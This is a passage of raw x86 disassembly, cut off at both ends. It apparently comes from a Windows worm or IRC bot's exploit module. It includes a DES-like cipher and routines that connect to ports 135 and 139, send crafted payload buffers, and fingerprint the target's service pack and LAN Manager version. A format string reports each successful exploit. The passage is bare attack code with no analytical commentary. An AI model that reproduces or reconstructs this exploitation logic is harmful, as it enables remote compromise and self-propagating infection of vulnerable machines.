ebx push esi push edi mov edx, [eax] mov ecx, [eax+4] mov eax, edx mov esi, 0F0F0F0Fh shr eax, 4 mov edi, ecx and eax, esi and edi, esi mov [ebp+var_4], 8 xor eax, edi xor ecx, eax shl eax, 4 xor edx, eax mov esi, ecx mov eax, edx and esi, 0FFFFh shr eax, 10h xor eax, esi mov esi, 33333333h xor ecx, eax shl eax, 10h xor edx, eax mov eax, ecx shr eax, 2 mov edi, edx and eax, esi and edi, esi mov esi, 0FF00FFh xor eax, edi xor edx, eax shl eax, 2 xor ecx, eax mov edi, edx mov eax, ecx and edi, esi shr eax, 8 and eax, esi xor eax, edi xor edx, eax shl eax, 8 xor ecx, eax mov eax, ecx add ecx, ecx shr eax, 1Fh or eax, ecx mov ecx, eax xor ecx, edx and ecx, 0AAAAAAAAh xor edx, ecx xor eax, ecx mov ecx, edx add edx, edx shr ecx, 1Fh or ecx, edx loc_4037B8: ; CODE XREF: sub_403721+1BAj mov edi, [ebp+arg_4] mov esi, eax mov edx, eax shl esi, 1Ch shr edx, 4 or esi, edx xor esi, [edi] add edi, 4 mov edx, esi mov ebx, esi shr edx, 18h and edx, 3Fh shr ebx, 10h mov edx, dword_43AE78[edx*4] and ebx, 3Fh or edx, dword_43B078[ebx*4] mov ebx, esi shr ebx, 8 and ebx, 3Fh and esi, 3Fh or edx, dword_43B278[ebx*4] or edx, dword_43B478[esi*4] mov esi, [edi] add edi, 4 xor esi, eax mov [ebp+arg_4], edi mov edi, esi shr edi, 18h mov ebx, esi and edi, 3Fh shr ebx, 10h mov edi, dword_43AF78[edi*4] and ebx, 3Fh or edi, dword_43B178[ebx*4] mov ebx, esi shr ebx, 8 and ebx, 3Fh and esi, 3Fh or edi, dword_43B378[ebx*4] or edi, dword_43B578[esi*4] or edi, edx xor ecx, edi mov edi, [ebp+arg_4] mov esi, ecx mov edx, ecx shl esi, 1Ch shr edx, 4 or esi, edx xor esi, [edi] add edi, 4 mov edx, esi mov ebx, esi shr edx, 18h and edx, 3Fh shr ebx, 10h mov edx, dword_43AE78[edx*4] and ebx, 3Fh or edx, dword_43B078[ebx*4] mov ebx, esi shr ebx, 8 and ebx, 3Fh and esi, 3Fh or edx, dword_43B278[ebx*4] or edx, dword_43B478[esi*4] mov esi, [edi] add edi, 4 xor esi, ecx mov [ebp+arg_4], edi mov edi, esi shr edi, 18h mov ebx, esi and edi, 3Fh shr ebx, 10h mov edi, dword_43AF78[edi*4] and ebx, 3Fh or edi, dword_43B178[ebx*4] mov ebx, esi shr ebx, 8 and ebx, 3Fh or edi, dword_43B378[ebx*4] and esi, 3Fh or edi, dword_43B578[esi*4] or edi, edx xor eax, edi dec [ebp+var_4] jnz loc_4037B8 mov edx, eax shl edx, 1Fh shr eax, 1 or edx, eax mov eax, edx xor eax, ecx and eax, 0AAAAAAAAh xor ecx, eax xor edx, eax mov esi, ecx mov edi, edx shl esi, 1Fh shr ecx, 1 or esi, ecx mov ecx, 0FF00FFh mov eax, esi and edi, ecx shr eax, 8 and eax, ecx mov ecx, 33333333h xor eax, edi xor edx, eax shl eax, 8 xor esi, eax mov edi, edx mov eax, esi and edi, ecx shr eax, 2 and eax, ecx xor eax, edi xor edx, eax shl eax, 2 xor esi, eax mov eax, edx mov ecx, esi shr eax, 10h and ecx, 0FFFFh xor eax, ecx mov ecx, 0F0F0F0Fh xor esi, eax shl eax, 10h xor edx, eax mov edi, esi mov eax, edx and edi, ecx shr eax, 4 and eax, ecx mov ecx, [ebp+arg_0] xor eax, edi mov edi, eax shl edi, 4 xor edi, edx xor eax, esi mov [ecx], edi pop edi pop esi mov [ecx+4], eax pop ebx leave retn sub_403721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403970 proc near ; CODE XREF: sub_403B9B+9Ap var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_C4 = dword ptr 0CCh arg_C8 = dword ptr 0D0h push ebp mov ebp, esp mov eax, 2004h call sub_429B60 push esi push edi mov edi, dword_43BB98 mov esi, 0A7h test edi, edi mov [ebp+var_4], esi jnz short loc_403998 xor eax, eax jmp loc_403B97 ; --------------------------------------------------------------------------- loc_403998: ; CODE XREF: sub_403970+1Fj push ebx push 30h lea eax, [ebp+var_2004] push offset off_43BAB4 push eax call sub_429420 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_429760 mov ebx, offset dword_43A8E8 push edi lea eax, [ebp+var_1F2D] push ebx push eax call sub_429420 lea esi, [edi+0D7h] jmp short loc_403A12 ; --------------------------------------------------------------------------- loc_4039D6: ; CODE XREF: sub_403970+B0j mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push offset off_43BAB4 push eax mov [ebp+var_4], esi call sub_429420 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_429760 push edi lea eax, [ebp+esi+var_1FD4] push ebx push eax call sub_429420 lea esi, [esi+edi+30h] loc_403A12: ; CODE XREF: sub_403970+64j add esp, 24h mov eax, esi cdq push 10h pop ecx idiv ecx cmp edx, 0Ch jnz short loc_4039D6 cmp [ebp+arg_C8], 3 jnz short loc_403A41 push 4 lea eax, [ebp+var_1FE0] push offset dword_43BB94 push eax call sub_429420 add esp, 0Ch loc_403A41: ; CODE XREF: sub_403970+B9j cmp [ebp+arg_C8], 2 jnz short loc_403A60 push 4 lea eax, [ebp+var_1FE0] push offset dword_43BB90 push eax call sub_429420 add esp, 0Ch loc_403A60: ; CODE XREF: sub_403970+D8j push 360h lea eax, [ebp+var_1004] push offset dword_43B6C8 push eax call sub_429420 push 10h lea eax, [ebp+var_CA4] push offset dword_43BA2C push eax call sub_429420 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_429420 lea edi, [esi+370h] push 3Ch push offset off_43BA40 lea eax, [ebp+edi+var_1004] push eax call sub_429420 add edi, 3Ch push 30h push offset dword_43BA80 lea eax, [ebp+edi+var_1004] push eax call sub_429420 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_4297B8 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_429760 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_429420 mov eax, [ebp+arg_C4] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_403B97: ; CODE XREF: sub_403970+23j pop edi pop esi leave retn sub_403970 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B9B proc near ; CODE XREF: sub_402675+174p ; sub_406D7F+1C5p ; DATA XREF: ... var_101C = byte ptr -101Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_B4 = dword ptr 0BCh arg_BC = dword ptr 0C4h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 101Ch call sub_429B60 push ebx push esi push edi lea eax, [ebp+arg_8] push 1 push eax call sub_404525 mov esi, eax xor ebx, ebx pop ecx cmp esi, ebx pop ecx jnz short loc_403BCF lea eax, [ebp+arg_8] push 5 push eax call sub_404525 pop ecx mov esi, eax pop ecx loc_403BCF: ; CODE XREF: sub_403B9B+23j cmp esi, 9 jz loc_403CAA push ebx push 1 push 2 call dword_456FD0 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403CAA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_429760 add esp, 0Ch mov [ebp+var_1C], 2 push 87h call dword_456F38 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+arg_8] push eax call dword_456F7C ; inet_addr mov [ebp+var_18], eax lea eax, [ebp+var_C] push esi push eax sub esp, 0C4h lea esi, [ebp+arg_8] push 31h pop ecx mov edi, esp rep movsd call sub_403970 mov edi, eax add esp, 0CCh cmp edi, ebx mov [ebp+var_8], edi jnz short loc_403C4E push [ebp+var_4] jmp short loc_403CA4 ; --------------------------------------------------------------------------- loc_403C4E: ; CODE XREF: sub_403B9B+ACj mov esi, [ebp+var_4] lea eax, [ebp+var_1C] push 10h push eax push esi call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jz short loc_403C9C push ebx push 48h push offset dword_43B678 push esi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz short loc_403C9C push ebx lea eax, [ebp+var_101C] push 1000h push eax push esi call dword_456F58 ; recv push ebx push [ebp+var_C] push edi push esi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jnz short loc_403CB1 loc_403C9C: ; CODE XREF: sub_403B9B+C6j ; sub_403B9B+DAj push edi call sub_4298F2 pop ecx push esi loc_403CA4: ; CODE XREF: sub_403B9B+B1j call dword_456FF0 ; closesocket loc_403CAA: ; CODE XREF: sub_403B9B+37j ; sub_403B9B+4Ej xor eax, eax jmp loc_403D7F ; --------------------------------------------------------------------------- loc_403CB1: ; CODE XREF: sub_403B9B+FFj push 7D0h call dword_437190 ; Sleep movzx eax, word_44399E push eax lea esi, [ebp+arg_8] sub esp, 0C4h push 31h pop ecx mov edi, esp rep movsd call sub_401B6E add esp, 0C8h test eax, eax jz short loc_403D60 mov edx, [ebp+arg_B4] mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov eax, edx mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" shl eax, 6 lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp [ebp+arg_C4], ebx mov ecx, [ecx] jz short loc_403D34 cmp [ebp+arg_BC], ebx jnz short loc_403D3C push ecx lea ecx, [ebp+arg_8] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A mov edx, [ebp+arg_B4] add esp, 1Ch loc_403D34: ; CODE XREF: sub_403B9B+16Dj cmp [ebp+arg_BC], ebx jz short loc_403D60 loc_403D3C: ; CODE XREF: sub_403B9B+175j shl edx, 6 lea eax, [ebp+arg_8] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 1Ch loc_403D60: ; CODE XREF: sub_403B9B+146j ; sub_403B9B+19Fj push [ebp+var_8] call sub_4298F2 pop ecx push [ebp+var_4] call dword_456FF0 ; closesocket lea eax, [ebp+arg_8] push eax call sub_401E9E xor eax, eax pop ecx inc eax loc_403D7F: ; CODE XREF: sub_403B9B+111j pop edi pop esi pop ebx leave retn sub_403B9B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 197Ch call sub_429B60 push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax call sub_429760 push 2 lea eax, [ebp+10h] pop esi push eax mov [ebp-14h], si call sub_41E3EC add esp, 10h mov [ebp-10h], eax push 87h call dword_4372C4 ; ntohs push edi push edi push edi push 6 push 1 push esi mov [ebp-12h], ax call dword_4372C8 ; WSASocketA mov ebx, eax cmp ebx, edi mov [ebp-4], ebx jnz short loc_403DE5 push edi call dword_437174 ; ExitThread loc_403DE5: ; CODE XREF: .text:00403DDCj lea eax, [ebp-14h] push 10h push eax push ebx call dword_4372CC ; connect cmp eax, 0FFFFFFFFh push edi jnz short loc_403DFE call dword_437174 ; ExitThread loc_403DFE: ; CODE XREF: .text:00403DF6j push 48h push offset dword_43BBA0 push ebx call dword_4372D0 ; send cmp eax, 0FFFFFFFFh push edi jnz short loc_403E18 call dword_437174 ; ExitThread loc_403E18: ; CODE XREF: .text:00403E10j lea eax, [ebp-197Ch] push 1000h push eax push ebx call dword_4372D4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_403E37 push edi call dword_437174 ; ExitThread loc_403E37: ; CODE XREF: .text:00403E2Ej mov ebx, 168h loc_403E3C: ; CODE XREF: .text:00403E51j push 5Ah push 41h call sub_41E415 mov [ebp+edi-17Ch], al inc edi pop ecx cmp edi, ebx pop ecx jl short loc_403E3C push 0Ah lea eax, [ebp-90h] push offset loc_43BC90 push eax call sub_429420 push esi lea eax, [ebp-86h] push offset loc_43BCE0 push eax call sub_429420 push 4 lea eax, [ebp-82h] pop edi push edi push offset loc_43BCD8 push eax call sub_429420 push esi lea eax, [ebp-4Ah] push offset loc_43BCDC push eax call sub_429420 push edi lea eax, [ebp-46h] push (offset loc_43BCD3+1) push eax call sub_429420 push 0Bh lea eax, [ebp-42h] push offset loc_43BC84 push eax call sub_429420 add esp, 48h lea eax, [ebp-97Ch] push 18h push offset dword_43BBEC push eax call sub_429420 push 44h lea eax, [ebp-964h] push offset dword_43BC08 push eax call sub_429420 mov esi, 90h push 20h lea eax, [ebp-920h] push esi push eax call sub_429760 push edi lea eax, [ebp-900h] push offset loc_43BC9C push eax call sub_429420 push edi lea eax, [ebp-8FCh] push offset loc_43BCD0 push eax call sub_429420 push edi lea eax, [ebp-8F8h] push offset dword_43BCC8 push eax call sub_429420 add esp, 48h lea eax, [ebp-8F4h] push edi push offset loc_43BCCC push eax call sub_429420 push 58h lea eax, [ebp-8F0h] push esi push eax call sub_429760 push 6 lea eax, [ebp-898h] push offset loc_43BCA4 push eax call sub_429420 push 8 lea eax, [ebp-892h] push esi push eax call sub_429760 push edi lea eax, [ebp-88Ah] push offset loc_43BCAC push eax call sub_429420 push edi lea eax, [ebp-886h] push esi push eax call sub_429760 add esp, 48h lea eax, [ebp-882h] push 6 push offset loc_43BCB4 push eax call sub_429420 push 28Eh lea eax, [ebp-87Ch] push esi push eax call sub_429760 push 158h lea eax, [ebp-5EEh] push offset dword_43A8E8 push eax call sub_429420 lea eax, [ebp-17Ch] push ebx push eax lea eax, [ebp-496h] push eax call sub_429420 push 0Ah lea eax, [ebp-32Eh] push offset off_43BCBC push eax call sub_429420 push 32h lea eax, [ebp-324h] push offset dword_43BC50 push eax call sub_429420 add esp, 48h loc_40400F: ; DATA XREF: .text:0043B3E0o xor ebx, ebx mov eax, 68Ah mov dword ptr [ebp-96Ch], 672h push ebx mov [ebp-974h], eax push eax lea eax, [ebp-97Ch] push eax push dword ptr [ebp-4] call dword_4372D0 ; send cmp eax, 0FFFFFFFFh jnz short loc_404044 push ebx call dword_437174 ; ExitThread loc_404044: ; CODE XREF: .text:0040403Bj movzx eax, word_44399E push eax lea esi, [ebp+10h] sub esp, 0C4h push 31h pop ecx mov edi, esp rep movsd call sub_401B6E add esp, 0C8h test eax, eax jz loc_4040F7 push 7D0h call dword_437190 ; Sleep mov edx, [ebp+0BCh] mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov eax, edx mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" shl eax, 6 lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp [ebp+0CCh], ebx mov ecx, [ecx] jz short loc_4040CB cmp [ebp+0C4h], ebx jnz short loc_4040D3 push ecx lea ecx, [ebp+10h] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CE4A mov edx, [ebp+0BCh] add esp, 1Ch loc_4040CB: ; CODE XREF: .text:0040409Fj cmp [ebp+0C4h], ebx jz short loc_4040F7 loc_4040D3: ; CODE XREF: .text:004040A7j shl edx, 6 lea eax, [ebp+10h] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CDD4 add esp, 1Ch loc_4040F7: ; CODE XREF: .text:00404069j ; .text:004040D1j push ebx lea eax, [ebp-197Ch] push 1000h push eax push dword ptr [ebp-4] call dword_4372D4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_404119 push ebx call dword_437174 ; ExitThread loc_404119: ; CODE XREF: .text:00404110j push dword ptr [ebp-4] call dword_4372D8 ; closesocket lea eax, [ebp+10h] push eax call sub_401E9E pop ecx push 1 call dword_437174 ; ExitThread ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404134 proc near ; CODE XREF: sub_406D7F+25Fp var_3020 = byte ptr -3020h var_2020 = byte ptr -2020h var_1FFC = byte ptr -1FFCh var_1FF0 = byte ptr -1FF0h var_1EA2 = byte ptr -1EA2h var_1020 = byte ptr -1020h var_1018 = dword ptr -1018h var_1010 = dword ptr -1010h var_FA0 = dword ptr -0FA0h var_F9C = dword ptr -0F9Ch var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F50 = dword ptr -0F50h var_E94 = dword ptr -0E94h var_CC0 = dword ptr -0CC0h var_CB8 = dword ptr -0CB8h var_CB0 = byte ptr -0CB0h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_B4 = dword ptr 0BCh arg_BC = dword ptr 0C4h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3020h call sub_429B60 push ebx push esi push edi lea eax, [ebp+arg_8] mov esi, 0A7h push 1 push eax mov [ebp+var_C], esi call sub_404525 pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jnz short loc_404170 lea eax, [ebp+arg_8] push 5 push eax call sub_404525 pop ecx mov [ebp+var_4], eax pop ecx loc_404170: ; CODE XREF: sub_404134+2Aj cmp [ebp+var_4], 1 jz loc_4044D1 cmp [ebp+var_4], 9 jz loc_4044D1 push 6 push 1 push 2 call dword_456FD0 ; socket loc_404190: ; DATA XREF: peei:0067C95Fo cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jz loc_4044D1 push 10h lea eax, [ebp+var_20] push 0 push eax call sub_429760 add esp, 0Ch mov [ebp+var_20], 2 push 87h call dword_456F38 ; ntohs mov [ebp+var_1E], ax lea eax, [ebp+arg_8] push eax call dword_456F7C ; inet_addr mov [ebp+var_1C], eax push 30h lea eax, [ebp+var_2020] push offset off_43C124 push eax call sub_429420 push esi lea eax, [ebp+var_1FF0] push 0FFFFFF90h push eax call sub_429760 mov ebx, 158h mov edi, offset dword_43A8E8 push ebx lea eax, [ebp+var_1EA2] push edi push eax call sub_429420 add esp, 24h mov esi, 2D6h loc_404210: ; CODE XREF: sub_404134+13Aj inc esi push esi call sub_4297B8 mov esi, [ebp+var_C] mov [ebp+var_10], eax push 30h lea eax, [ebp+var_2020] inc esi push offset off_43C124 push eax mov [ebp+var_C], esi call sub_429420 push esi lea eax, [ebp+var_1FF0] push 0FFFFFF90h push eax call sub_429760 push ebx lea eax, [ebp+esi+var_1FF0] push edi push eax call sub_429420 push [ebp+var_10] add esi, 188h call sub_4298F2 add esp, 2Ch mov eax, esi cdq push 10h pop ecx idiv ecx cmp edx, 0Ch jnz short loc_404210 cmp [ebp+var_4], 3 jnz short loc_40428C push 4 lea eax, [ebp+var_1FFC] push offset dword_43C204 push eax call sub_429420 add esp, 0Ch loc_40428C: ; CODE XREF: sub_404134+140j cmp [ebp+var_4], 2 jnz short loc_4042A8 push 4 lea eax, [ebp+var_1FFC] push offset dword_43C200 push eax call sub_429420 add esp, 0Ch loc_4042A8: ; CODE XREF: sub_404134+15Cj push 360h lea eax, [ebp+var_1020] push offset dword_43BD38 push eax call sub_429420 push 10h lea eax, [ebp+var_CC0] push offset dword_43C09C push eax call sub_429420 lea eax, [ebp+var_2020] push esi push eax lea eax, [ebp+var_CB0] push eax call sub_429420 lea edi, [esi+370h] push 3Ch push offset off_43C0B0 lea eax, [ebp+edi+var_1020] push eax call sub_429420 add edi, 3Ch push 30h push offset dword_43C0F0 lea eax, [ebp+edi+var_1020] push eax call sub_429420 mov eax, esi add esp, 3Ch cdq sub eax, edx push 10h sar eax, 1 add [ebp+var_CC0], eax add [ebp+var_CB8], eax mov eax, [ebp+var_1018] lea eax, [eax+esi-0Ch] mov [ebp+var_1018], eax mov eax, [ebp+var_1010] lea eax, [eax+esi-0Ch] mov [ebp+var_1010], eax mov eax, [ebp+var_FA0] lea eax, [eax+esi-0Ch] mov [ebp+var_FA0], eax mov eax, [ebp+var_F9C] lea eax, [eax+esi-0Ch] mov [ebp+var_F9C], eax mov eax, [ebp+var_F6C] lea eax, [eax+esi-0Ch] mov [ebp+var_F6C], eax mov eax, [ebp+var_F68] lea eax, [eax+esi-0Ch] mov [ebp+var_F68], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_E94] lea eax, [eax+esi-0Ch] mov esi, [ebp+var_8] mov [ebp+var_E94], eax lea eax, [ebp+var_20] push eax push esi call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4043C7 loc_4043C1: ; CODE XREF: sub_404134+2A7j ; sub_404134+2D3j push esi jmp loc_4044CB ; --------------------------------------------------------------------------- loc_4043C7: ; CODE XREF: sub_404134+28Bj xor ebx, ebx push ebx push 48h push offset byte_43BCE8 push esi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz short loc_4043C1 push ebx lea eax, [ebp+var_3020] push 1000h push eax push esi call dword_456F58 ; recv add edi, 30h push ebx lea eax, [ebp+var_1020] push edi push eax push esi call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz short loc_4043C1 movzx eax, word_44399E push eax lea esi, [ebp+arg_8] sub esp, 0C4h push 31h pop ecx mov edi, esp rep movsd call sub_401B6E add esp, 0C8h test eax, eax jz short loc_4044AD mov edx, [ebp+arg_B4] mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov eax, edx mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" shl eax, 6 lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp [ebp+arg_C4], ebx mov ecx, [ecx] jz short loc_404481 cmp [ebp+arg_BC], ebx jnz short loc_404489 push ecx lea ecx, [ebp+arg_8] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A mov edx, [ebp+arg_B4] add esp, 1Ch loc_404481: ; CODE XREF: sub_404134+321j cmp [ebp+arg_BC], ebx jz short loc_4044AD loc_404489: ; CODE XREF: sub_404134+329j shl edx, 6 lea eax, [ebp+arg_8] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 1Ch loc_4044AD: ; CODE XREF: sub_404134+2FAj ; sub_404134+353j push ebx lea eax, [ebp+var_3020] push 1000h push eax push [ebp+var_8] call dword_456F58 ; recv push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_4044D8 loc_4044CB: ; CODE XREF: sub_404134+28Ej call dword_456FF0 ; closesocket loc_4044D1: ; CODE XREF: sub_404134+40j ; sub_404134+4Aj ... xor eax, eax loc_4044D3: ; CODE XREF: sub_404134+3B7j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4044D8: ; CODE XREF: sub_404134+395j call dword_456FF0 ; closesocket lea eax, [ebp+arg_8] push eax loc_4044E2: ; DATA XREF: peei:0067C977o call sub_401E9E xor eax, eax pop ecx inc eax jmp short loc_4044D3 sub_404134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044ED proc near ; CODE XREF: sub_404525+B24p ; sub_404525+B48p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40451B loc_4044FE: ; CODE XREF: sub_4044ED+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_42A520 add esp, 0Ch test eax, eax jz short loc_404521 inc esi cmp esi, edi jl short loc_4044FE loc_40451B: ; CODE XREF: sub_4044ED+Fj xor al, al loc_40451D: ; CODE XREF: sub_4044ED+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_404521: ; CODE XREF: sub_4044ED+27j mov al, 1 jmp short loc_40451D sub_4044ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404525 proc near ; CODE XREF: sub_403B9B+16p ; sub_403B9B+2Bp ... var_263C = byte ptr -263Ch var_243C = byte ptr -243Ch var_243B = byte ptr -243Bh var_243A = byte ptr -243Ah var_143C = byte ptr -143Ch var_1433 = dword ptr -1433h var_1420 = dword ptr -1420h var_141C = dword ptr -141Ch var_1411 = word ptr -1411h var_140D = byte ptr -140Dh var_13FA = byte ptr -13FAh var_13E4 = dword ptr -13E4h var_43C = byte ptr -43Ch var_23C = byte ptr -23Ch var_1CC = byte ptr -1CCh var_140 = byte ptr -140h var_3C = byte ptr -3Ch var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_A = dword ptr -0Ah var_6 = dword ptr -6 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 263Ch call sub_429B60 mov eax, [ebp+arg_4] push ebx push esi dec eax push edi jz loc_4050C0 dec eax jz loc_40509A dec eax jz loc_404DD6 dec eax jz loc_404F87 dec eax jz loc_404DDD dec eax jz loc_404774 dec eax jnz loc_404DD6 push 6 push 1 push 2 call dword_456FD0 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz loc_404DD6 xor ebx, ebx push 10h lea eax, [ebp+var_20] push ebx push eax call sub_429760 add esp, 0Ch mov [ebp+var_20], 2 push 8Bh call dword_456F38 ; ntohs push [ebp+arg_0] mov [ebp+var_1E], ax call sub_41E3EC pop ecx mov [ebp+var_1C], eax lea eax, [ebp+var_20] push 10h push eax push esi call dword_456EBC ; connect cmp eax, edi jz loc_404DD6 push ebx push 48h push offset unk_43C298 push esi call dword_456F8C ; send cmp eax, edi jnz short loc_4045E5 loc_4045DF: ; CODE XREF: sub_404525+924j push esi jmp loc_404EC3 ; --------------------------------------------------------------------------- loc_4045E5: ; CODE XREF: sub_404525+B8j mov esi, 2000h push ebx lea eax, [ebp+var_243C] push esi push eax push [ebp+arg_4] call dword_456F58 ; recv cmp eax, edi jz loc_404EC0 push ebx push 33h push offset dword_43C2E4 push [ebp+arg_4] call dword_456F8C ; send cmp eax, edi jz loc_404EC0 push ebx lea eax, [ebp+var_243C] push esi push eax push [ebp+arg_4] call dword_456F58 ; recv cmp eax, edi jz loc_404EC0 push ebx push 4Ch push offset dword_43C318 push [ebp+arg_4] call dword_456F8C ; send cmp eax, edi jz loc_404EC0 push ebx lea eax, [ebp+var_243C] push esi push eax push [ebp+arg_4] call dword_456F58 ; recv cmp eax, edi jz loc_404EC0 lea esi, [eax-2] mov [ebp+arg_0], ebx cmp esi, ebx jle loc_404F1F lea edi, [ebp+esi+var_243B] loc_40467F: ; CODE XREF: sub_404525+19Cj cmp [ebp+arg_0], 4 jge loc_404F1F cmp [edi-1], bl jnz short loc_4046BD mov eax, [ebp+arg_0] sub eax, ebx jz short loc_4046AB dec eax jz short loc_4046A3 dec eax jnz short loc_4046BA lea eax, [ebp+var_43C] jmp short loc_4046B1 ; --------------------------------------------------------------------------- loc_4046A3: ; CODE XREF: sub_404525+171j lea eax, [ebp+var_23C] jmp short loc_4046B1 ; --------------------------------------------------------------------------- loc_4046AB: ; CODE XREF: sub_404525+16Ej lea eax, [ebp+var_263C] loc_4046B1: ; CODE XREF: sub_404525+17Cj ; sub_404525+184j push edi push eax call sub_42A5D0 pop ecx pop ecx loc_4046BA: ; CODE XREF: sub_404525+174j inc [ebp+arg_0] loc_4046BD: ; CODE XREF: sub_404525+167j dec esi dec edi cmp esi, ebx jg short loc_40467F jmp loc_404F1F ; --------------------------------------------------------------------------- loc_4046C8: ; CODE XREF: sub_404525+A18j lea eax, [ebp+var_43C] push eax push offset aServicePack1 ; "*Service Pack 1*" call sub_427B4E pop ecx test eax, eax pop ecx jz short loc_4046E3 push 7 jmp short loc_40474F ; --------------------------------------------------------------------------- loc_4046E3: ; CODE XREF: sub_404525+1B8j lea eax, [ebp+var_43C] push eax push offset aServicePack2 ; "*Service Pack 2*" call sub_427B4E neg eax sbb eax, eax pop ecx and eax, 2 pop ecx add eax, 6 jmp loc_404DD8 ; --------------------------------------------------------------------------- loc_404705: ; CODE XREF: sub_404525+A1Ej lea eax, [ebp+var_23C] push eax push offset aNtLanManager_ ; "NT LAN Manager *.*" call sub_427B4E pop 